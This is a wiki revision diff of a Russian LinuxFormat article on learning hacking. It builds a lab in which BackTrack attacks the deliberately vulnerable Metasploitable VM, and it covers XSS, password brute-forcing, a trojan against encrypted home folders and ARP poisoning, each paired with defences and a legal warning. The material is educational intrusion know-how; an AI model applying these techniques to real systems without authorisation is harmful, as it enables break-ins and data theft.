Журнал LinuxFormat - перейти на главную

LXF154:Изучите взлом

Материал из Linuxformat
(Различия между версиями)
Перейти к: навигация, поиск
(Новая страница: «Категория:Постоянные рубрики ==Изу­чи­те взлом== {{Врезка|left|Заголовок=Вкратце|Содерж…»)
 
(→‎Изу­чи­те взлом)
 
(не показаны 2 промежуточные версии 1 участника)
Строка 3: Строка 3:
  
 
{{Врезка|left|Заголовок=Вкратце|Содержание=  
 
{{Врезка|left|Заголовок=Вкратце|Содержание=  
−
Ата­ка сер­ве­ров, Под­бор па­ро­лей, Экс­плой­ты, Взлом шиф­ро­ва­ния  Все, что­бы стать зло­де­ем.  
+
Ата­ка сер­ве­ров. Под­бор па­ро­лей. Экс­плой­ты. Взлом шиф­ро­ва­ния. Все, что­бы стать зло­де­ем.  
 
|Ширина=40%}}
 
|Ширина=40%}}
  
Строка 11: Строка 11:
  
 
Взлом, он же хак – это ис­кусст­во по­лу­чить доступ к за­прет­ной для вас ком­пь­ю­тер­ной сис­те­ме. Те, кто прак­ти­ку­ет взлом, ис­поль­зу­ют ошиб­ки и сбои в про­грам­мах, что­бы за­ста­вить их ра­бо­тать не так, как они долж­ны. Мы рас­смот­рим два при­ме­няе­мых ими ме­то­да и по­ка­жем, как не стать жерт­вой. Мы по­лу­чим доступ ад­минист­ра­то­ра к сис­те­ме, по­зво­ляю­щий нам де­лать все, что за­хо­чет­ся – от кра­жи ин­фор­ма­ции до сти­рания всей ин­фор­ма­ции с дис­ков.
 
Взлом, он же хак – это ис­кусст­во по­лу­чить доступ к за­прет­ной для вас ком­пь­ю­тер­ной сис­те­ме. Те, кто прак­ти­ку­ет взлом, ис­поль­зу­ют ошиб­ки и сбои в про­грам­мах, что­бы за­ста­вить их ра­бо­тать не так, как они долж­ны. Мы рас­смот­рим два при­ме­няе­мых ими ме­то­да и по­ка­жем, как не стать жерт­вой. Мы по­лу­чим доступ ад­минист­ра­то­ра к сис­те­ме, по­зво­ляю­щий нам де­лать все, что за­хо­чет­ся – от кра­жи ин­фор­ма­ции до сти­рания всей ин­фор­ма­ции с дис­ков.
 +
{{Врезка|left|Заголовок=Вкратце|Содержание=
 +
==Взлом – ис­кус­ст­во по­лу­чить дос­туп к запретной ком­пь­ю­тер­ной сис­те­ме»==
 +
|Ширина=40%}}
 +
  
 
Ата­ки ре­аль­ны и на­це­ле­ны на ре­аль­ную сис­те­му Linux (хо­тя в на­шем слу­чае бу­дет ис­поль­зо­ва­на уста­рев­шая сис­те­ма). [продолжение на стр. 26]Чи­тай­те, и вы уз­нае­те, как взлом­щик мо­жет ук­расть дан­ные или весь ваш ком­пь­ю­тер – и как за­щи­тить свою сис­те­му. Что­бы за­щи­тить­ся, на­до знать, от че­го за­щи­ща­ешь­ся.
 
Ата­ки ре­аль­ны и на­це­ле­ны на ре­аль­ную сис­те­му Linux (хо­тя в на­шем слу­чае бу­дет ис­поль­зо­ва­на уста­рев­шая сис­те­ма). [продолжение на стр. 26]Чи­тай­те, и вы уз­нае­те, как взлом­щик мо­жет ук­расть дан­ные или весь ваш ком­пь­ю­тер – и как за­щи­тить свою сис­те­му. Что­бы за­щи­тить­ся, на­до знать, от че­го за­щи­ща­ешь­ся.
  
−
===Ата­ка на сер­вер===
+
==Шаг за шагом: Установка виртуальной сети==
 +
===1. Ска­чай­те ди­ст­ри­бу­тив===
 +
 
 +
Мы бу­дем ис­поль­зо­вать BackTrack и Metasploitable. ISO-об­раз Backtrack 5 на­хо­дит­ся на www.backtrack-linux.org/downloads/, а об­раз Metasploitable для же­ст­ко­го дис­ка VirtualBox – на www.sourceforge.net/projects/virtualhacking/files/os/metasploitable/.
 +
 
 +
===2. За­пусти­те Virtualbox===
 +
 
 +
Ус­та­но­ви­те Virtualbox. В боль­шин­ст­ве ди­ст­ри­бу­ти­вов долж­ны быть па­ке­ты для него; ес­ли в ва­шем их нет, уста­но­воч­ные фай­лы мож­но взять на www.virtualbox.org. Зай­ди­те в File > Preferences и вы­бе­ри­те Network. Ес­ли спи­сок се­тей пуст, на­жми­те на зна­чок +, и поя­вит­ся сеть vboxnet0.
 +
 
 +
===3. Соз­дай­те ма­ши­ну===
 +
 
 +
Соз­дай­те но­вую ма­ши­ну под именем BackTrack. В ка­че­­ст­ве ОС вы­бе­ри­те Linux, а вер­сии – Ubuntu. На­значь­те ей по крайней ме­ре 730 МБ па­мя­ти, а на эк­ране Virtual Hard Disk сними­те га­лоч­ку с Boot Hard Disk. На пре­ду­пре­ж­дение от­веть­те Continue, за­тем на­жми­те Create.
 +
 
 +
===4. Вклю­чи­те адап­те­ры===
 +
 
 +
Щелкните пра­вой кноп­кой по New Virtual Machine и зай­ди­те в Settings. Вы­бе­ри­те Network, про­верь­те, что адап­тер 1 – Enabled и Attached To NAT, а адап­тер 2 – Enabled и Attached To Host-only Adapter. Два­ж­ды щелкните по ма­шине. В мас­те­ре First Run, на­жми­те на BackTrack ISO (Что­бы занести в спи­сок CD/DVD Images, на­жми­те Add). В при­гла­шении Boot на­жми­те ввод, и еще раз ввод, что­бы вы­брать BackTrack Text – Default Boot Text Mode.
 +
 
 +
===5.При­го­товь­те жерт­ву===
 +
 
 +
В команд­ной стро­ке вве­ди­те startx, что­бы за­пустить окон­ный менед­жер. Сей­час по­ра го­то­вить ма­ши­ну-жерт­ву – в окне VirtualBox на­жми­те New, что­бы соз­дать но­вую вир­ту­аль­ную ма­ши­ну. От­дай­те ей при­мер­но чет­верть па­мя­ти ва­ше­го ком­пь­ю­те­ра, а на эк­ране Virtual Hard Disk щелкните по Use Existing Hard Disk и вы­бе­ри­те Metasploitable.vmdk, ко­то­рый был раз­ар­хи­ви­ро­ван на пер­вом ша­ге.
 +
 
 +
===6. По­ра втор­гать­ся===
 +
 
 +
Щелкните пра­вой кноп­кой по вир­ту­аль­ной ма­шине Metasploitable и вы­бе­ри­те Settings. В спи­ске сле­ва вы­бе­ри­те System, за­тем на вклад­ке Motherboard вклю­чи­те Enable IO APIC, а на вклад­ке Processor – Enable PAE/NX. В Network, как в и BackTrack, вы­бе­ри­те Host-only Adapter. Те­перь два­ж­ды щелкните по вир­ту­аль­ной ма­шине. Она за­гру­зит­ся в тек­сто­вый эк­ран вхо­да – на­счет де­та­лей вхо­да не вол­нуй­тесь: мы ведь бу­дем осуществлять вторжение.
 +
 
 +
{{Врезка|left|Заголовок=Вирус|Содержание=
 +
Поль­зо­ва­те­ли Linux зачас­тую спо­кой­но от­но­сят­ся к этим по­тен­ци­аль­но опас­ным про­грам­мам. Ши­ро­ко рас­про­странено мнение, что эта про­бле­ма ка­са­ет­ся толь­ко ком­пь­ю­те­ров под Windows. Од­на­ко сто­ит помнить, что са­мый пер­вый ком­пь­ю­тер­ный червь (Morris Worm в но­яб­ре 1988) за­ра­жал ком­пь­ю­те­ры как раз с Unix.
 +
 
 +
Вре­до­носные про­грам­мы, конеч­но, ку­да боль­шая про­бле­ма в Windows, чем в Linux, од­на­ко не сле­ду­ет счи­тать Linux непри­косно­вен­ным. Не­сколь­ко ви­ру­сов уже ата­ко­ва­ли Linux, од­на­ко это в основ­ном бы­ли экс­пе­ри­мен­ты, а на­стоя­щие за­ра­жения встре­ча­лись очень ред­ко. Конеч­но, в лю­бой мо­мент мо­жет поя­вить­ся но­вый ви­рус, и луч­ший спо­соб под­го­то­вить ва­шу сис­те­му к это­му – за­пустить со­вре­мен­ную ан­ти­ви­русную про­грам­му.
 +
 
 +
Ре­шение, за­пускать ли ан­ти­ви­рус, сво­дит­ся к то­му, на­сколь­ко боль­шой вред мо­жет быть при­чинен при неже­ла­тель­ном за­ра­жении. Ес­ли вы ре­гу­ляр­но де­лае­те ре­зерв­ные ко­пии ва­шей сис­те­мы и смо­же­те восста­но­вить ее по­сле за­ра­жения, тогда вы­го­да от за­пуска ан­ти­ви­ру­са не пе­ре­ве­ши­ва­ет по­треб­ляе­мо­го им про­цес­сор­но­го вре­мени.
 +
 
 +
За­пуск ан­ти­ви­русной про­грам­мы ва­жен в тех слу­ча­ях, когда на ком­пь­ю­те­ре рас­по­ло­же­ны раз­де­лы Samba или поч­то­вые сер­ве­ры, к ко­то­рым об­ра­ща­ют­ся ком­пь­ю­те­ры с Windows, по­сколь­ку в этом слу­чае ви­ру­сы мо­гут пе­ре­брать­ся дальше, не за­ра­зив хост с Linux.
 +
 
 +
Вполне воз­мож­но, что ви­рус Windows смо­жет за­ра­зить про­грам­мы под Wine, и та­кие за­ра­жения в приро­де встре­ча­лись.
 +
 
 +
В прин­ци­пе, существует вероят­ность, что эти ви­ру­сы при­чи­нят вред фай­лам, рас­по­ло­жен­ным вне дис­ка C в Wine. При за­пуске ис­пол­няе­мых фай­лов Windows в Linux нуж­но со­блю­дать неко­то­рые пре­досто­рож­но­сти, та­кие же, как при за­пуске про­грамм в ОС от Microsoft: на­при­мер, при­ме­нять сканер на ви­ру­сы.
 +
 
 +
Ес­ли вам необ­хо­ди­мо за­пустить по­доз­ри­тель­ную про­грам­му, вы мо­же­те изо­ли­ро­вать ее от осталь­ной час­ти сис­те­мы, уста­но­вив ее в вир­ту­аль­ной ма­шине.
 +
 
 +
'''«Ключ к са­мо­за­щи­те – все­гда при­ме­нять за­плат­ки безо­пас­но­сти.»'''
 +
|Ширина=20%}}
 +
{{Врезка|right|Заголовок=Со­ци­аль­ная ин­женерия
 +
|Содержание=
 +
Безо­пас­ность ком­пь­ю­тер­ной сис­те­мы оп­ре­де­ля­ет­ся са­мым сла­бым ее уча­ст­ком, и очень час­то это поль­зо­ва­те­ли. Со­ци­аль­ная ин­женерия – это про­цесс подве­дения поль­зо­ва­те­лей к раз­гла­шению ин­фор­ма­ции, при­год­ной при взло­ме. Это мо­гут быть под­роб­но­сти строения ин­фра­струк­ту­ры се­ти, что по­зво­лит ха­ке­рам по­доб­рать под­хо­дя­щую ата­ку, или ман­да­ты на вход.
 +
 
 +
Осо­бо хит­рый спо­соб со­ци­аль­ной ин­женерии – Cross Site Scripting (XSS). Это когда ха­кер взла­мы­ва­ет web-страницу, что­бы поместить на ней свою ин­фор­ма­цию, ко­то­рая затем послужит капканом. В ре­зуль­та­те в до­мене ор­ганиза­ции по­яв­ля­ет­ся страница, не имеющая к ней ника­ко­го от­но­шения: на­при­мер, поддельная фор­ма вхо­да, от­сы­лаю­щая име­на и па­ро­ли злоумышленникам. Су­ще­ст­ву­ет при­мер за­пуска такой ата­ки в WebGoat. Что­бы из­бе­жать атак подобного ти­па, следует всегда вво­ди­ть ад­рес сай­та са­мим, а не пе­ре­хо­ди­ть по ссыл­кам.
 +
|Ширина=30%}}
 +
 
 +
 
 +
==Ата­ка на сер­вер==
  
 
Когда го­во­рят о взло­ме, мно­гие пред­став­ля­ют че­ло­ве­ка за под­клю­чен­ным к се­ти ком­пь­ю­те­ром, ко­то­рый ата­ку­ет дру­гой ком­пь­ю­тер в се­ти и по­лу­ча­ет к нему доступ. Это мы понима­ем под ата­кой сер­ве­ра. Как сред­ст­во взло­ма мы бу­дем ис­поль­зо­вать ди­ст­ри­бу­тив BackTrack, спе­ци­аль­но за­то­чен­ный под тес­ты втор­жения (эле­гант­ное на­звание взло­ма соб­ст­вен­ной сис­те­мы). Об­раз дис­ка вир­ту­аль­ной ма­ши­ны под на­званием Metasploitable, спе­ци­аль­но сде­лан­ный уяз­ви­мым для атак, бу­дет на­шей жерт­вой.
 
Когда го­во­рят о взло­ме, мно­гие пред­став­ля­ют че­ло­ве­ка за под­клю­чен­ным к се­ти ком­пь­ю­те­ром, ко­то­рый ата­ку­ет дру­гой ком­пь­ю­тер в се­ти и по­лу­ча­ет к нему доступ. Это мы понима­ем под ата­кой сер­ве­ра. Как сред­ст­во взло­ма мы бу­дем ис­поль­зо­вать ди­ст­ри­бу­тив BackTrack, спе­ци­аль­но за­то­чен­ный под тес­ты втор­жения (эле­гант­ное на­звание взло­ма соб­ст­вен­ной сис­те­мы). Об­раз дис­ка вир­ту­аль­ной ма­ши­ны под на­званием Metasploitable, спе­ци­аль­но сде­лан­ный уяз­ви­мым для атак, бу­дет на­шей жерт­вой.
Строка 63: Строка 117:
  
 
192.168.56.102
 
192.168.56.102
−
 
+
{{Врезка|left|Заголовок=|Содержание= «Ключ к самозащите –
 +
всегда применять заплатки безопасности.»
 +
|Ширина=20%}}
 
– это IP-ад­рес сер­ве­ра Metasploitable, мож­но вой­ти на сер­вер, при­чем у вас бу­дет доступ root, и вы смо­же­те про­из­во­дить лю­бые дей­ст­вия или красть лю­бые дан­ные.
 
– это IP-ад­рес сер­ве­ра Metasploitable, мож­но вой­ти на сер­вер, при­чем у вас бу­дет доступ root, и вы смо­же­те про­из­во­дить лю­бые дей­ст­вия или красть лю­бые дан­ные.
 +
 +
{{Врезка|left|Заголовок=Толь­ко для до­ма...|Содержание=
 +
 +
Да­вай­те сра­зу уясним: взлом ком­пь­ю­тер­ной сис­те­мы неза­конен. В дей­ст­ви­тель­но­сти, что­бы по­пасть в непри­ят­ность, вам да­же не обя­за­тель­но при­чи­нять ущерб или во­ро­вать дан­ные. В боль­шин­ст­ве стран да­же про­стая по­пыт­ка проник­но­вения в сис­те­му – серь­ез­ное на­ру­шение.
 +
 +
К сча­стью, как по­ка­зы­ва­ют при­ме­ры этой ста­тьи, вир­туа­ли­за­ция по­зво­ля­ет нам тес­ти­ро­вать на­ши тех­но­ло­гии втор­жения на од­ном ком­пь­ю­те­ре. Ес­ли у вас есть до­маш­няя сеть, вы мо­же­те про­сто на­стро­ить ее по­доб­ным об­ра­зом и оп­ро­бо­вать все это на несколь­ких ком­пь­ю­те­рах. Ис­пы­тания по­доб­ных атак по­мо­гут вам пе­ре­стать быть жерт­вой.
 +
 +
Од­на­ко ес­ли вы по­про­буе­те эти тех­но­ло­гии на на­стоя­щих сер­ве­рах без пись­мен­но­го раз­ре­шения от вла­дель­ца, вы под­вергнетесь серь­ез­но­му пре­сле­до­ванию со сто­ро­ны за­ко­на. Про­сто не де­лай­те это­го.
 +
|Ширина=20%}}
 +
  
 
===За­щи­ти­те се­бя===
 
===За­щи­ти­те се­бя===
Строка 81: Строка 147:
  
 
В неко­то­рых ди­ст­ри­бу­ти­вах (на­при­мер, Ubuntu) у поль­зо­ва­те­ля есть воз­мож­ность за­шиф­ро­вать свой до­машний ка­та­лог. То есть ес­ли вы за­гру­зи­тесь с live-ди­ст­ри­бу­ти­ва, в корневом раз­де­ле вы уви­ди­те об­щие дан­ные, но не фай­лы поль­зо­ва­те­ля. До сих пор еще неиз­вест­ны взло­мы со­вре­мен­ных ал­го­рит­мов шиф­ро­вания, но это не зна­чит, что у нас нет воз­мож­но­сти проник­нуть к данным; за­да­ча про­сто ста­но­вит­ся бо­лее хит­рой. Сей­час мы при­ве­дем на ком­пь­ю­тер тро­ян­ско­го ко­ня, что по­зво­лит нам по­лу­чить доступ к фай­лам по­сле то­го, как поль­зо­ва­тель при­мон­ти­ру­ет раз­дел.
 
В неко­то­рых ди­ст­ри­бу­ти­вах (на­при­мер, Ubuntu) у поль­зо­ва­те­ля есть воз­мож­ность за­шиф­ро­вать свой до­машний ка­та­лог. То есть ес­ли вы за­гру­зи­тесь с live-ди­ст­ри­бу­ти­ва, в корневом раз­де­ле вы уви­ди­те об­щие дан­ные, но не фай­лы поль­зо­ва­те­ля. До сих пор еще неиз­вест­ны взло­мы со­вре­мен­ных ал­го­рит­мов шиф­ро­вания, но это не зна­чит, что у нас нет воз­мож­но­сти проник­нуть к данным; за­да­ча про­сто ста­но­вит­ся бо­лее хит­рой. Сей­час мы при­ве­дем на ком­пь­ю­тер тро­ян­ско­го ко­ня, что по­зво­лит нам по­лу­чить доступ к фай­лам по­сле то­го, как поль­зо­ва­тель при­мон­ти­ру­ет раз­дел.
 +
{{Врезка|left|Заголовок=Вкратце|Содержание=
 +
«Получив физический доступ к компьютеру, извлечь
 +
из него данные просто.»|Ширина=20%}}
  
 
Это мож­но по­пы­тать­ся про­де­лать с ис­поль­зо­ванием VirtualBox. На­ши ша­ги ра­бо­та­ют с Ubuntu в ка­че­­ст­ве ди­ст­ри­бу­ти­ва-жерт­вы, и BackTrack – ди­ст­ри­бу­ти­ва ха­ке­ра, но мо­же­те взять и дру­гие, ес­ли в них есть со­от­вет­ст­вую­щие воз­мож­но­сти. У жерт­вы дол­жен быть за­шиф­ро­ван­ный до­машний ка­та­лог, а ата­кую­щей сис­те­ме тре­бу­ет­ся Metasploit Framework. Сна­ча­ла соз­дай­те вир­ту­аль­ную ма­ши­ну с уста­нов­лен­ной по­следней вер­си­ей Ubuntu и по­за­боть­тесь, что­бы на эта­пе соз­дания поль­зо­ва­те­ля бы­ло вы­бра­но Encrypt My Home Folder. Се­те­вой адап­тер ма­ши­ны дол­жен быть уста­нов­лен Host-only.
 
Это мож­но по­пы­тать­ся про­де­лать с ис­поль­зо­ванием VirtualBox. На­ши ша­ги ра­бо­та­ют с Ubuntu в ка­че­­ст­ве ди­ст­ри­бу­ти­ва-жерт­вы, и BackTrack – ди­ст­ри­бу­ти­ва ха­ке­ра, но мо­же­те взять и дру­гие, ес­ли в них есть со­от­вет­ст­вую­щие воз­мож­но­сти. У жерт­вы дол­жен быть за­шиф­ро­ван­ный до­машний ка­та­лог, а ата­кую­щей сис­те­ме тре­бу­ет­ся Metasploit Framework. Сна­ча­ла соз­дай­те вир­ту­аль­ную ма­ши­ну с уста­нов­лен­ной по­следней вер­си­ей Ubuntu и по­за­боть­тесь, что­бы на эта­пе соз­дания поль­зо­ва­те­ля бы­ло вы­бра­но Encrypt My Home Folder. Се­те­вой адап­тер ма­ши­ны дол­жен быть уста­нов­лен Host-only.
Строка 125: Строка 194:
  
 
Мож­но пре­дот­вра­тить за­груз­ку ма­ши­ны с live-ди­ст­ри­бу­ти­вом, уда­лив оп­ции CD и USB из спи­ска за­груз­ки в BIOS, а за­тем уста­но­вив па­роль BIOS, что­бы взлом­щик не смог вер­нуть их об­рат­но. Бо­лее це­ле­на­прав­лен­ный взлом­щик, тем не менее, спо­со­бен вы­та­щить при­вод из ком­пь­ю­те­ра и под­клю­чить его к дру­го­му, где он смо­жет его при­мон­ти­ро­вать. Един­ст­вен­ный спо­соб пол­но­стью ог­ра­дить се­бя от ата­ки та­ко­го ви­да – за­шиф­ро­вать же­ст­кий диск це­ли­ком и за­дать хо­ро­ший па­роль.
 
Мож­но пре­дот­вра­тить за­груз­ку ма­ши­ны с live-ди­ст­ри­бу­ти­вом, уда­лив оп­ции CD и USB из спи­ска за­груз­ки в BIOS, а за­тем уста­но­вив па­роль BIOS, что­бы взлом­щик не смог вер­нуть их об­рат­но. Бо­лее це­ле­на­прав­лен­ный взлом­щик, тем не менее, спо­со­бен вы­та­щить при­вод из ком­пь­ю­те­ра и под­клю­чить его к дру­го­му, где он смо­жет его при­мон­ти­ро­вать. Един­ст­вен­ный спо­соб пол­но­стью ог­ра­дить се­бя от ата­ки та­ко­го ви­да – за­шиф­ро­вать же­ст­кий диск це­ли­ком и за­дать хо­ро­ший па­роль.
 +
{{Врезка|right|Заголовок=Вкратце|Содержание=
 +
'''«Пароль из шести букв в нижнем регистре нужно подбирать 35 дней.»'''|Ширина=20%}}
  
 
Боль­шин­ст­во основ­ных ди­ст­ри­бу­ти­вов под­дер­жи­ва­ют пол­ное шиф­ро­вание дис­ка. Вклю­чение его при уста­нов­ке обыч­но дости­га­ет­ся вы­бо­ром оп­ции Encrypted LVM на ста­дии раз­бив­ки дис­ка. Поль­зо­ва­те­лям Ubuntu при­дет­ся для это­го ис­поль­зо­вать аль­тер­на­тив­ный уста­но­воч­ный CD, по­сколь­ку в обыч­ной уста­нов­ке дан­ная оп­ция не под­дер­жи­ва­ет­ся. На­до это вам или нет, за­ви­сит от ве­ро­ят­но­сти по­па­дания ком­пь­ю­те­ра в ру­ки взлом­щи­ка и цен­но­сти ин­фор­ма­ция на нем. Как пра­ви­ло, но­ут­бу­ки уяз­ви­мее на­столь­ных ком­пь­ю­те­ров, ведь их те­ря­ют и кра­дут на­мно­го ча­ще.
 
Боль­шин­ст­во основ­ных ди­ст­ри­бу­ти­вов под­дер­жи­ва­ют пол­ное шиф­ро­вание дис­ка. Вклю­чение его при уста­нов­ке обыч­но дости­га­ет­ся вы­бо­ром оп­ции Encrypted LVM на ста­дии раз­бив­ки дис­ка. Поль­зо­ва­те­лям Ubuntu при­дет­ся для это­го ис­поль­зо­вать аль­тер­на­тив­ный уста­но­воч­ный CD, по­сколь­ку в обыч­ной уста­нов­ке дан­ная оп­ция не под­дер­жи­ва­ет­ся. На­до это вам или нет, за­ви­сит от ве­ро­ят­но­сти по­па­дания ком­пь­ю­те­ра в ру­ки взлом­щи­ка и цен­но­сти ин­фор­ма­ция на нем. Как пра­ви­ло, но­ут­бу­ки уяз­ви­мее на­столь­ных ком­пь­ю­те­ров, ведь их те­ря­ют и кра­дут на­мно­го ча­ще.
Строка 135: Строка 206:
  
 
При неог­раничен­ном чис­ле по­пы­ток мож­но по­доб­рать лю­бой па­роль, од­на­ко хо­ро­ший па­роль под­би­рать на­столь­ко дол­го, что ко вре­мени, когда взлом­щик его най­дет, это ут­ра­тит важ­ность. На­при­мер, ес­ли пе­ре­би­рать 100 па­ро­лей в се­кун­ду, зная, что па­роль – сло­во из сло­ва­ря (Oxford English Dictionary со­дер­жит око­ло 200 000 слов), то на оты­скание па­ро­ля по­тре­бу­ет­ся 2000 се­кун­д, или 33 ми­ну­ты.
 
При неог­раничен­ном чис­ле по­пы­ток мож­но по­доб­рать лю­бой па­роль, од­на­ко хо­ро­ший па­роль под­би­рать на­столь­ко дол­го, что ко вре­мени, когда взлом­щик его най­дет, это ут­ра­тит важ­ность. На­при­мер, ес­ли пе­ре­би­рать 100 па­ро­лей в се­кун­ду, зная, что па­роль – сло­во из сло­ва­ря (Oxford English Dictionary со­дер­жит око­ло 200 000 слов), то на оты­скание па­ро­ля по­тре­бу­ет­ся 2000 се­кун­д, или 33 ми­ну­ты.
 +
{{Врезка|right|Заголовок=Вкратце|Содержание= «Одна из самых универсальных утилит анализа
 +
трафика – WireShark.»
 +
|Ширина=40%}}
 +
  
 
Оче­вид­но, нам хо­чет­ся, что­бы наш па­роль со­про­тив­лял­ся доль­ше – зна­чит, нуж­но быть менее пред­ска­зуе­мым. Ес­ли па­роль – слу­чай­ная стро­ка сим­во­лов, то чис­ло воз­мож­ных ком­би­на­ций – это чис­ло воз­мож­ных сим­во­лов в сте­пени их ко­ли­че­­ст­ва. На­при­мер, пя­ти­сим­воль­ная стро­ка из букв в нижнем ре­ги­ст­ре (26 ва­ри­ан­тов) мо­жет быть лю­бой из 26 * 26 * 26 * 26 * 26 = 11881376 воз­мож­ных ком­би­на­ций. При той же ско­ро­сти пе­ре­бо­ра это зай­мет 118,814 се­кунд, или 33 ча­са.
 
Оче­вид­но, нам хо­чет­ся, что­бы наш па­роль со­про­тив­лял­ся доль­ше – зна­чит, нуж­но быть менее пред­ска­зуе­мым. Ес­ли па­роль – слу­чай­ная стро­ка сим­во­лов, то чис­ло воз­мож­ных ком­би­на­ций – это чис­ло воз­мож­ных сим­во­лов в сте­пени их ко­ли­че­­ст­ва. На­при­мер, пя­ти­сим­воль­ная стро­ка из букв в нижнем ре­ги­ст­ре (26 ва­ри­ан­тов) мо­жет быть лю­бой из 26 * 26 * 26 * 26 * 26 = 11881376 воз­мож­ных ком­би­на­ций. При той же ско­ро­сти пе­ре­бо­ра это зай­мет 118,814 се­кунд, или 33 ча­са.
Строка 163: Строка 238:
  
 
Когда вы храните ин­фор­ма­цию на ин­фор­ма­цию на ком­пь­ю­те­ре, вы мо­же­те ею управ­лять, уста­нав­ли­вать пра­ва досту­па и за­пи­сы­вать, ка­кой имен­но поль­зо­ва­тель про­из­вел из­менение дан­ных. Од­на­ко как толь­ко ин­фор­ма­ция по­ки­да­ет ком­пь­ю­тер и пу­те­ше­ст­ву­ет по се­ти, вы те­ряе­те этот кон­троль.
 
Когда вы храните ин­фор­ма­цию на ин­фор­ма­цию на ком­пь­ю­те­ре, вы мо­же­те ею управ­лять, уста­нав­ли­вать пра­ва досту­па и за­пи­сы­вать, ка­кой имен­но поль­зо­ва­тель про­из­вел из­менение дан­ных. Од­на­ко как толь­ко ин­фор­ма­ция по­ки­да­ет ком­пь­ю­тер и пу­те­ше­ст­ву­ет по се­ти, вы те­ряе­те этот кон­троль.
 +
  
 
Се­ти – это от­кры­тые сис­те­мы; ком­пь­ю­те­ры мо­гут к ним под­клю­чать­ся и от­клю­чать­ся от них, и основ­ные се­те­вые про­то­ко­лы в сво­ем ди­зайне по­ста­ви­ли про­сто­ту пре­вы­ше безо­пас­но­сти. Взлом­щик мо­жет ис­поль­зо­вать эту сла­бую сто­ро­ну, что­бы на­дер­гать дан­ных и да­же управ­лять тем, что вы по­сы­лае­те и по­лу­чае­те. Про­стей­ший спо­соб это сде­лать – про­слу­ши­вать дан­ные, ко­то­рые пе­ре­ме­ща­ют­ся по се­ти. Од­на из са­мых универ­саль­ных ути­лит для ана­ли­за се­те­во­го тра­фи­ка [sniffer] – WireShark. По­сле уста­нов­ки (ли­бо че­рез менед­жер па­ке­тов ва­ше­го ди­ст­ри­бу­ти­ва, ли­бо взяв фай­лы с www.wireshark.org), ее мож­но за­пустить коман­дой
 
Се­ти – это от­кры­тые сис­те­мы; ком­пь­ю­те­ры мо­гут к ним под­клю­чать­ся и от­клю­чать­ся от них, и основ­ные се­те­вые про­то­ко­лы в сво­ем ди­зайне по­ста­ви­ли про­сто­ту пре­вы­ше безо­пас­но­сти. Взлом­щик мо­жет ис­поль­зо­вать эту сла­бую сто­ро­ну, что­бы на­дер­гать дан­ных и да­же управ­лять тем, что вы по­сы­лае­те и по­лу­чае­те. Про­стей­ший спо­соб это сде­лать – про­слу­ши­вать дан­ные, ко­то­рые пе­ре­ме­ща­ют­ся по се­ти. Од­на из са­мых универ­саль­ных ути­лит для ана­ли­за се­те­во­го тра­фи­ка [sniffer] – WireShark. По­сле уста­нов­ки (ли­бо че­рез менед­жер па­ке­тов ва­ше­го ди­ст­ри­бу­ти­ва, ли­бо взяв фай­лы с www.wireshark.org), ее мож­но за­пустить коман­дой
Строка 191: Строка 267:
  
 
Мо­же­те за­пускать arp на ма­ши­нах-жерт­вах. Ес­ли от­рав­ление ARP сра­бо­та­ло, все IP-ад­ре­са бу­дут ука­зы­вать на один и тот же MAC-ад­рес.
 
Мо­же­те за­пускать arp на ма­ши­нах-жерт­вах. Ес­ли от­рав­ление ARP сра­бо­та­ло, все IP-ад­ре­са бу­дут ука­зы­вать на один и тот же MAC-ад­рес.
 +
{{Врезка|right|Заголовок=Вкратце|Содержание=
 +
Web-при­ло­жения – са­мые ла­ко­мые ку­соч­ки для ха­кер­ско­го взло­ма. Проект Open Web Application Security (OWASP) соз­дал ути­ли­ту, ко­то­рая де­мон­ст­ри­ру­ет по­тен­ци­аль­ные уяз­ви­мо­сти в этой об­лас­ти.
 +
 +
WebGoat [от англ. scapegoat – «ко­зел от­пу­щения»] – это на­ро­чи­то уяз­ви­мое web-при­ло­жение, с ко­то­рым по­став­ля­ет­ся учебник по его взло­му. Его мож­но ска­чать с code.google.com/p/webgoat/downloads/list; вам так­же по­тре­бу­ет­ся web-про­кси WebScarab, ко­то­рый ле­жит на www.sourceforge.net/projects/owasp/files/WebScarab.
 +
 +
Рас­па­ковав WebGoat (вам мо­жет по­тре­бо­вать­ся уста­но­вить p7zip), пе­рей­ди­те в ка­та­лог и вве­ди­те
 +
 +
sudo sh webgoat.sh start8080
 +
 +
За­тем за­пус­ти­те WebScarab ко­ман­дой
 +
 +
java -jar webscarab-
 +
selfcontained-20070504-1631.jar
 +
 +
Дру­гой спо­соб – за­пустить их с live DVD, доступного на www.appseclive.org. Сер­вер за­пуска­ет­ся ко­ман­дой:
 +
 +
sudo webgoat start8080
 +
 +
По­сле это­го WebScarab за­пуска­ет­ся из ме­ню (OWASP > Proxies > OWASP WebScarab).
 +
 +
Для по­лу­чения доступа к при­ло­жению, за­дай­те web-браузеру ад­рес http://127.0.0.1:8080/webgoat/attack и для вхо­да ис­поль­зуй­те guest/guest.
 +
 +
Что­бы уви­деть дан­ные в WebScarab, вам нуж­но приказать web-браузеру ис­поль­зо­вать про­кси-сер­вер localhost на пор­те 8008 (предварительно убе­див­шись, что все пунк­ты в окне No Proxy For сня­ты).
 +
|Ширина=40%}}
  
 
Сей­час вы долж­ны об­на­ру­жить, что че­рез WireShark про­хо­дит боль­ше ин­фор­ма­ции. Вы мо­же­те да­же ис­поль­зо­вать Ettercap, что­бы управ­лять се­тью. На­при­мер, зай­дя в View > Connections, вы уви­ди­те все TCP- и UDP-со­единения в се­ти. Вы мо­же­те ра­зо­рвать лю­бое из них, вы­де­лив его и на­жав Kill Connection.
 
Сей­час вы долж­ны об­на­ру­жить, что че­рез WireShark про­хо­дит боль­ше ин­фор­ма­ции. Вы мо­же­те да­же ис­поль­зо­вать Ettercap, что­бы управ­лять се­тью. На­при­мер, зай­дя в View > Connections, вы уви­ди­те все TCP- и UDP-со­единения в се­ти. Вы мо­же­те ра­зо­рвать лю­бое из них, вы­де­лив его и на­жав Kill Connection.

Текущая версия на 09:21, 24 июня 2018

Подписка на печатную версию
Весь 2015 год (12 номеров)
Первое полугодие (6 номеров)
Второе полугодие (6 номеров)
Подписка на электронную версию
Весь 2015 год (12 номеров)
Первое полугодие (6 номеров)
Второе полугодие (6 номеров)
Подшивки старых номеров журнала (печатные версии)
Весь 2014 год (12 номеров)
Первое полугодие (6 номеров)
Второе полугодие (6 номеров)

Содержание

[править] Изу­чи­те взлом

Бен Эве­рард по­ли­ва­ет гря­зью за­щит­ную безо­пас­ность.

